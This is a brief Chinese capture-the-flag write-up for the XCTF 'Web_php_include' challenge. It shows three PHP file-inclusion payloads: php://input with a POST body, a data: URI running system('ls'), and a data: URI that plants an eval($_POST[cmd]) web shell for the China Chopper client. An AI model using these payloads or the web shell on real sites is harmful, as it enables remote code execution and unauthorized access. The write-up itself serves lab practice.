攻防世界-web-高手进阶区004-Web_php_include

方法一：

1.尝试构造，index.php?page=PHP://input post：<?php system("ls");?>

 

 

 

2.得到

 

 

 

3.查看fl4gisisish3r3.php文件

 

 

 

---

 

方法二：

Payload：index.php?page=data:text/plain,<?php system("ls"); ?>

方法三：

Payload：index.php?page=data:text/plain,<?php eval($_POST[cmd]); ?> 

菜刀连接

 

---